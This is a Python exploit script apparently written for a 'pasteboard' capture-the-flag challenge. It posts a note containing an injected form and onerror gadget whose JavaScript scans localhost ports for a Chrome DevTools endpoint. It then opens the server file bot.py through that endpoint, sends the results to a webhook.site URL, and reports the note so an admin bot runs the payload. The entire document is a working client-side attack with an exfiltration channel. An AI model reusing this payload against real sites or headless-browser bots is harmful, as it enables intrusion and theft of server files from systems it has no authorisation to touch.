#!/usr/bin/env python3
"""
CDP Port Scanner V2 - Simplified based on backdoor writeup
"""
import requests
import time
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/9112d3b8-af6d-4c2c-8dea-31441a9af685"

# Compact CDP scanner - scans ports 32768-60999 and uses /json/new
payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,(async()=>{{let%20w=\'{WEBHOOK}\';for(let%20p=32768;p<=60999;p++){{try{{let%20r=await%20fetch(\'http://localhost:\'+p+\'/json/version\');if(r.ok){{let%20d=await%20r.text();await%20fetch(w+\'?step=found&port=\'+p,{{method:\'POST\',body:d}});let%20o=await%20fetch(\'http://localhost:\'+p+\'/json/new?file:///app/bot.py\',{{method:\'PUT\'}});let%20od=await%20o.text();await%20fetch(w+\'?step=opened&port=\'+p,{{method:\'POST\',body:od}});break;}}}}catch(e){{}}}}await%20fetch(w+\'?step=done\');}})();"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("="*80)
print("🔍 CDP PORT SCANNER (backdoor technique)")
print("="*80)

response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "CDP Scanner", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Paste created: {urljoin(CHALLENGE_URL, note_path)}")

    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Queued! Scanning 28000+ ports...")
        print(f"\n{'='*80}")
        print(f"📊 Check webhook: {WEBHOOK}")
        print(f"{'='*80}")
        print("\nLook for:")
        print("  - step=found → CDP port discovered!")
        print("  - step=opened → bot.py opened via CDP /json/new!")
        print("  - step=done → Scan complete")
        print("\n⏰ This will take 2-3 minutes to scan all ports")
        print("="*80)
    else:
        print(f"[-] Failed: {report_response.status_code}")
else:
    print(f"[-] Failed to create paste: {response.status_code}")
    print(f"[-] Response: {response.text[:200]}")
